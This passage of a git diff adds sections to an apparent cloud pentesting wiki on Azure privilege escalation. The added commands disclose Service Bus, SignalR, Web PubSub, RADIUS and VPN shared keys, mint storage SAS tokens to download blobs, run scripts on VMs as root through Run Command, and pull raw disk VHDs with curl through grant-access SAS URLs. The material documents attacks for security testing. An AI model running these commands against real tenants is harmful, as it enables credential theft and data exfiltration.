`Microsoft.Relay/namespaces/authorizationRules/regenerateKeys/action` +- `Microsoft.Relay/namespaces/HybridConnections/authorizationRules/regeneratekeys/action` +- `Microsoft.Relay/namespaces/WcfRelays/authorizationRules/regeneratekeys/action` + +```bash +az relay hyco authorization-rule keys renew \ + -g --namespace-name \ + --hybrid-connection-name \ + -n --key SecondaryKey +``` + +These permissions are high and configuration-dependent rather than automatically critical. A relay that fronts a privileged internal application can make the practical impact critical, while an unused relay or a Send-only rule may expose much less. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 80ef7c2264..b66dc52f38 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -33,6 +33,20 @@ az servicebus namespace authorization-rule keys renew \ --name RootManageSharedAccessKey ``` +### Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/authorizationRules/listkeys/action + +A Geo-Disaster Recovery alias has its own stable Service Bus hostname. This operation returns the SAS keys and alias connection strings for an authorization rule on the current primary namespace: + +```bash +az servicebus georecovery-alias authorization-rule keys list \ + --resource-group \ + --namespace-name \ + --alias \ + --name RootManageSharedAccessKey +``` + +Use the returned alias connection string with the same send and receive examples below; do not replace the alias hostname with the physical namespace. The rule's rights still bound the credential. In live validation against a Premium Geo-DR pair, the returned alias key sent a message and received the exact seeded queue canary. This exposes or modifies application messages while the alias continues to follow whichever namespace is primary. Service Bus Geo-DR requires Premium namespaces.[[15]](#references)[[16]](#references) + ### Microsoft.ServiceBus/namespaces/AuthorizationRules/write With this permission it's possible to **create a new authorization rule** with the selected rights and its own keys with:[[2]](#references)[[5]](#references) @@ -62,6 +76,8 @@ az servicebus namespace authorization-rule update \ Specific topics and queues inside a Service Bus namespace can have their own authorization rules, which can be used to control access to the entity. These permissions **retrieve or regenerate the keys for those local authorization rules**; a resulting SAS credential can send or receive messages, or manage topology, only within the rule's rights and scope.[[2]](#references)[[3]](#references) Depending on those rights and the consuming application, compromise can expose messages, inject content, or disrupt processing.[[3]](#references) +Azure role definitions can express these families as `Microsoft.ServiceBus/namespaces/*/authorizationRules/ListKeys/action` and `Microsoft.ServiceBus/namespaces/*/authorizationRules/regenerateKeys/action`; the `*` covers the queue or topic segment. + The Azure CLI exposes separate key-list and key-renew commands for topics and queues:[[6]](#references)[[8]](#references) ```bash @@ -351,5 +367,7 @@ print("Done receiving messages") - [12] [Send Message - Azure Service Bus REST API](https://learn.microsoft.com/en-us/rest/api/servicebus/send-message-to-queue) - [13] [Receive and Delete Message (Destructive Read) - Azure Service Bus REST API](https://learn.microsoft.com/en-us/rest/api/servicebus/receive-and-delete-message-destructive-read) - [14] [Peek-Lock Message (Non-Destructive Read) - Azure Service Bus REST API](https://learn.microsoft.com/en-us/rest/api/servicebus/peek-lock-message-non-destructive-read) +- [15] [Disaster Recovery Configs - List Keys](https://learn.microsoft.com/en-us/rest/api/servicebus/controlplane/disaster-recovery-configs/list-keys?view=rest-servicebus-controlplane-2026-01-01) +- [16] [Service Bus Geo-Disaster Recovery](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-geo-dr) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md new file mode 100644 index 0000000000..4ffc34d506 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md @@ -0,0 +1,51 @@ +# Az - SignalR and Web PubSub Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Access-key disclosure and message injection + +The following operations return both access keys and complete connection strings: + +- `Microsoft.SignalRService/SignalR/listkeys/action` +- `Microsoft.SignalRService/WebPubSub/listkeys/action` + +```bash +az signalr key list \ + --resource-group \ + --name + +az webpubsub key show \ + --resource-group \ + --name +``` + +The access key signs an HS256 JSON Web Token whose `aud` claim matches the target data-plane URL. The token can then broadcast messages, target users or groups, close connections, and invoke the other management REST operations supported by the service. + +```text +# SignalR broadcast +POST https://.service.signalr.net/api/v1/hubs/ +Authorization: Bearer +Content-Type: application/json + +{"target":"newMessage","arguments":["attacker-controlled-message"]} + +# Web PubSub broadcast +POST https://.webpubsub.azure.com/api/hubs//:send?api-version=2024-01-01 +Authorization: Bearer +Content-Type: application/json + +"attacker-controlled-message" +``` + +For SignalR, the audience excludes query parameters; for Web PubSub, it must equal the full request URL. See the [SignalR data-plane REST authentication](https://learn.microsoft.com/en-us/azure/azure-signalr/signalr-reference-data-plane-rest-api) and [Web PubSub data-plane REST authentication](https://learn.microsoft.com/en-us/azure/azure-web-pubsub/reference-rest-api-data-plane) documentation. + +`Microsoft.SignalRService/SignalR/regeneratekey/action` and `Microsoft.SignalRService/WebPubSub/regeneratekey/action` rotate a selected key and return the new credentials. The new key has the same data-plane power, while rotation may disconnect or break legitimate publishers. + +```bash +az signalr key renew -g -n --key-type secondary +az webpubsub key regenerate -g -n --key-type secondary +``` + +These permissions are high rather than automatically critical: they provide real-time message and connection control, but privilege escalation or sensitive-data impact depends on what the application trusts and exposes through the service. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index 6225b93d48..d79d061a0c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -281,10 +281,12 @@ az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2025-05-01" ``` -### Microsoft.Web/staticSites/createUserInvitation/action +### Microsoft.Web/staticSites/createInvitation/action This permission allows you to **create an invitation to a user** for access to protected paths inside a static web app with a specific role. The Azure CLI accepts a comma-separated role list and invitation expiry in hours.[[13]](#references) +Current provider metadata calls this operation `createInvitation/action`; `createUserInvitation/action` is an older name and should not be used in custom role definitions. + The login is located at a path such as `/.auth/login/github` for GitHub or `/.auth/login/aad` for Microsoft Entra ID, and a user can be invited with the following command.[[14]](#references) ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index 47118ed556..1cd6fb68eb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -26,6 +26,61 @@ This action rotates one named access key. The response is a list-keys result and az storage account keys renew --account-name --key key2 ``` +### `Microsoft.Storage/storageAccounts/listAccountSas/action` + +This action asks the Storage resource provider to sign an account SAS. It does not disclose an account key, but the caller chooses the services, resource types, permissions, IP restriction, protocol, and expiry included in the token. An account SAS with Blob object read access can therefore read blob data even when the principal has no Blob data-plane role.[[13]](#references) + +```bash +ACCOUNT_SAS=$(az rest \ + --method post \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Storage/storageAccounts//listAccountSas?api-version=2025-06-01" \ + --body '{ + "signedServices": "b", + "signedResourceTypes": "sco", + "signedPermission": "rl", + "signedProtocol": "https", + "signedExpiry": "" + }' \ + --query accountSasToken --output tsv) + +# Azure may return the token with a leading question mark; the CLI expects none. +az storage blob download \ + --account-name \ + --container-name \ + --name \ + --file \ + --sas-token "${ACCOUNT_SAS#\?}" \ + --auth-mode key +``` + +### `Microsoft.Storage/storageAccounts/listServiceSas/action` + +This action asks the resource provider to sign a service SAS for a specific Blob, container, file, share, queue, or table resource. For example, a container-scoped SAS with read and list permissions allows the caller to enumerate and download its blobs without an Azure data-plane role or the storage account key.[[14]](#references) + +```bash +SERVICE_SAS=$(az rest \ + --method post \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Storage/storageAccounts//listServiceSas?api-version=2025-06-01" \ + --body '{ + "canonicalizedResource": "/blob//", + "signedResource": "c", + "signedPermission": "rl", + "signedProtocol": "https", + "signedExpiry": "" + }' \ + --query serviceSasToken --output tsv) + +az storage blob download \ + --account-name \ + --container-name \ + --name \ + --file \ + --sas-token "${SERVICE_SAS#\?}" \ + --auth-mode key +``` + +Both permissions are critical when the generated SAS can reach sensitive data. The effective access is still bounded by the requested SAS fields and by account controls such as network rules, disabled Shared Key authorization, and SAS expiration.[[2]](#references)[[15]](#references) + ### `Microsoft.Storage/storageAccounts/write` This action can create a storage account or update its properties, including security-relevant settings. For example, changing the default network action to `Allow` permits traffic from all networks, while adding an IP rule can expose the account to an attacker-controlled address.[[1]](#references)[[4]](#references) @@ -115,6 +170,13 @@ az storage account local-user regenerate-password \ --name ``` +When Azure CLI command-group availability differs by version or operating system, call the ARM action directly: + +```bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Storage/storageAccounts//localUsers//regeneratePassword?api-version=2025-06-01" +``` + For local-user SFTP authentication, the username is `.` and the connection uses the Blob service endpoint. Password and SSH-key authentication are both supported.[[7]](#references)[[8]](#references) ```bash @@ -122,6 +184,8 @@ sftp .@.blob.core.w #regenerated-password ``` +Live validation regenerated an existing user's password and used only that password over SFTP to download a protected blob whose hash matched the canary. AzurePEASS consequently treats this standalone action as Critical. Its reach is bounded by the local user's existing permission scopes, and SFTP must be enabled on an HNS account. + ### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action` This management-plane action initiates a point-in-time restore for specified lexicographic ranges of blobs and a requested timestamp. It is distinct from restoring an individual soft-deleted container or blob.[[1]](#references)[[9]](#references) @@ -157,13 +221,6 @@ az storage share-rm restore \ --deleted-version ``` -## Other interesting looking permissions (TODO) - -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob.[[1]](#references) -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob.[[1]](#references) -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command.[[1]](#references) -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action.[[1]](#references) - ## References - [1] [Azure permissions for Storage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage) @@ -178,5 +235,8 @@ az storage share-rm restore \ - [10] [Manage blob containers using Azure CLI](https://learn.microsoft.com/en-us/azure/storage/blobs/blob-containers-cli) - [11] [az storage blob](https://learn.microsoft.com/en-us/cli/azure/storage/blob?view=azure-cli-latest) - [12] [az storage share-rm](https://learn.microsoft.com/en-us/cli/azure/storage/share-rm?view=azure-cli-latest) +- [13] [Storage Accounts - List Account SAS](https://learn.microsoft.com/en-us/rest/api/storagerp/storage-accounts/list-account-sas?view=rest-storagerp-2025-06-01) +- [14] [Storage Accounts - List Service SAS](https://learn.microsoft.com/en-us/rest/api/storagerp/storage-accounts/list-service-sas?view=rest-storagerp-2025-06-01) +- [15] [Grant limited access to Azure Storage resources using shared access signatures](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index b38ea532b7..d45cabc06c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -513,6 +513,22 @@ az vm run-command invoke \ {{#endtab }} {{#endtabs }} +### `Microsoft.Compute/virtualMachines/runCommands/write` + +Managed Run Command is a child resource rather than the one-shot `runCommand/action` operation above. Creating or replacing it executes the supplied script through the VM agent as root/SYSTEM by default: + +```bash +az vm run-command create \ + --resource-group \ + --vm-name \ + --run-command-name validation \ + --location \ + --script 'id' \ + --async-execution false +``` + +The same primitive exists through `Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommands/write` for a scale-set instance and `Microsoft.HybridCompute/machines/runcommands/write` for an Arc-enabled server. Agent availability and target configuration still apply. See [Managed Run Command](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed). + ### `Microsoft.Compute/virtualMachines/login/action` This permission allows a principal to **log in as a regular user** when Microsoft Entra authentication is enabled on the VM.[[14]](#references)[[15]](#references)[[16]](#references) @@ -593,9 +609,101 @@ az vm disk attach \ --name ``` -### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action +### Managed-disk, snapshot, and restore-point SAS exfiltration + +Each of these permissions can issue a temporary bearer SAS for the raw VHD without attaching it to an attacker-controlled VM: + +* `Microsoft.Compute/disks/beginGetAccess/action` +* `Microsoft.Compute/snapshots/beginGetAccess/action` +* `Microsoft.Compute/restorePointCollections/restorePoints/diskRestorePoints/beginGetAccess/action` + +The first two were validated by downloading a byte range containing a seeded canary from a detached managed disk and its snapshot. The third recovered the same canary from the data-disk restore point inside a VM restore point. A raw operating-system or data disk can expose password hashes, SSH keys, application configuration, database files, and cached cloud credentials.[[21]](#references)[[22]](#references)[[23]](#references) + +```bash +# Managed disk (it must be detached for a Read SAS): +disk_sas=$(az disk grant-access \ + --resource-group \ + --name \ + --access-level Read \ + --duration-in-seconds 1800 \ + --query accessSAS --output tsv) + +# Snapshot: +snapshot_sas=$(az snapshot grant-access \ + --resource-group \ + --name \ + --access-level Read \ + --duration-in-seconds 1800 \ + --query accessSAS --output tsv) + +# Download the VHD (curl also supports Range requests for targeted validation): +curl --fail --location --output disk.vhd "$disk_sas" +``` + +For a disk restore point, call the child resource directly. `beginGetAccess` is a long-running ARM operation: follow the response's `Location` header until it succeeds, then read `accessSAS` from the completed response. + +```bash +disk_restore_point_id="/subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints//diskRestorePoints/" + +az rest --method post \ + --url "https://management.azure.com${disk_restore_point_id}/beginGetAccess?api-version=2025-01-02" \ + --body '{"access":"Read","durationInSeconds":1800}' +``` + +Revoke every SAS as soon as testing finishes: + +```bash +az disk revoke-access --resource-group --name +az snapshot revoke-access --resource-group --name +az rest --method post \ + --url "https://management.azure.com${disk_restore_point_id}/endGetAccess?api-version=2025-01-02" +``` + +If resource listing is denied, an exact disk, snapshot, or child restore-point ID found in deployments, activity logs, backup output, tickets, or scripts can still be tried. Read SAS access was proven; write SAS was **not** generalized because Azure rejected it for an ordinary detached disk and limits that workflow to disks in upload states. + +### Microsoft.Network/vpnServerConfigurations/listAllRadiusServersSecrets/action + +Normal VPN Server Configuration GET and list responses redact RADIUS shared secrets. The dedicated action returns every configured RADIUS server address together with its secret.[[24]](#references)[[25]](#references) + +~~~bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Network/vpnServerConfigurations//listRadiusSecrets?api-version=2025-05-01" +~~~ + +This was validated on a standalone VPN Server Configuration, without deploying a Virtual WAN gateway. The action returned the exact planted secret while the ordinary resource interface kept it hidden. A recovered shared secret can undermine trust between a reachable VPN gateway and RADIUS server; practical abuse still depends on network position and the deployed RADIUS design, so the permission is High rather than universally Critical. + +If listing is denied, try an exact configuration name from VPN gateway references, IaC, deployment history, activity logs, network diagrams, or support tickets. + +### `microsoft.network/virtualnetworkgateways/listAllRadiusServersSecrets/action` + +Classic Virtual Network Gateways have a separate RADIUS-secret action from the Virtual WAN VPN Server Configuration permission above. A normal gateway GET redacts `vpnClientConfiguration.radiusServerSecret`; the dedicated REST operation returns each RADIUS server address and its cleartext shared secret.[[26]](#references)[[28]](#references) + +```bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Network/virtualNetworkGateways//listRadiusSecrets?api-version=2025-05-01" +``` + +This was live-tested on a `VpnGw1AZ` gateway with P2S OpenVPN and RADIUS authentication. The ordinary resource response contained no secret, while `listRadiusSecrets` returned the exact planted value. A recovered secret can undermine the trust relationship between a reachable gateway and RADIUS server, although practical impersonation still depends on the RADIUS design and network position; the permission is therefore High. + +The RBAC operation is named `listAllRadiusServersSecrets/action` even though the REST route and Activity Log label use `listRadiusSecrets`. If gateway listing is denied, a name from VPN profiles, public-IP associations, IaC, network diagrams, deployment history, or support tickets is sufficient for the direct call. + +### `Microsoft.Network/connections/sharedkey/action`, `Microsoft.Network/connections/sharedKey/read` + +Azure currently publishes both names as Get Shared Key permissions for a Virtual Network Gateway connection. The dedicated child-resource GET returns the site-to-site VPN pre-shared key, while the ordinary connection resource GET omits it.[[27]](#references)[[28]](#references) + +```bash +az network vpn-connection shared-key show \ + --resource-group \ + --connection-name + +# Equivalent REST call: +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Network/connections//sharedkey?api-version=2025-05-01" +``` + +In live validation, the normal connection GET returned no key and the shared-key endpoint returned an exact planted PSK even while the documentation-address peer was not connected. A recovered PSK can let an attacker authenticate an attacker-controlled VPN peer when the gateway, traffic selectors, routes, and reachable public endpoint permit it, potentially exposing private or on-premises networks. Those prerequisites make the disclosure High rather than universally Critical. -Microsoft documents this permission as allowing the resource's OS to be managed through Windows Admin Center as an administrator.[[14]](#references) +No connection-list permission is required when the resource group and connection name are already known. Look for them in VPN device configurations, IaC, deployment history, public-IP/gateway relationships, monitoring records, network diagrams, scripts, or tickets. ## References @@ -619,5 +727,13 @@ Microsoft documents this permission as allowing the resource's OS to be managed - [18] [az vm user](https://learn.microsoft.com/en-us/cli/azure/vm/user?view=azure-cli-latest) - [19] [Use a Linux troubleshooting VM with the Azure CLI](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-recovery-disks-linux) - [20] [Deploy an extension-based Windows or Linux User Hybrid Runbook Worker in Azure Automation](https://learn.microsoft.com/en-us/azure/automation/extension-based-hybrid-runbook-worker-install) +- [21] [Disks - Grant Access](https://learn.microsoft.com/en-us/rest/api/compute/disks/grant-access?view=rest-compute-2025-01-02) +- [22] [Snapshots - Grant Access](https://learn.microsoft.com/en-us/rest/api/compute/snapshots/grant-access?view=rest-compute-2025-01-02) +- [23] [Disk Restore Point - Grant Access](https://learn.microsoft.com/en-us/rest/api/compute/disk-restore-point/grant-access?view=rest-compute-2025-04-01) +- [24] [VPN Server Configurations - List Radius Secrets](https://learn.microsoft.com/en-us/rest/api/virtualwan/vpn-server-configurations/list-radius-secrets?view=rest-virtualwan-2025-05-01) +- [25] [VPN Server Configuration resource schema](https://learn.microsoft.com/en-us/azure/templates/microsoft.network/vpnserverconfigurations) +- [26] [Virtual Network Gateways - List Radius Secrets](https://learn.microsoft.com/en-us/rest/api/network-gateway/virtual-network-gateways/list-radius-secrets?view=rest-network-gateway-2025-05-01) +- [27] [Virtual Network Gateway Connections - Get Shared Key](https://learn.microsoft.com/en-us/rest/api/network-gateway/virtual-network-gateway-connections/get-shared-key?view=rest-network-gateway-2025-05-01) +- [28] [Azure permissions for Networking](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/networking) {{#include ../../../banners/hacktricks-training.md}}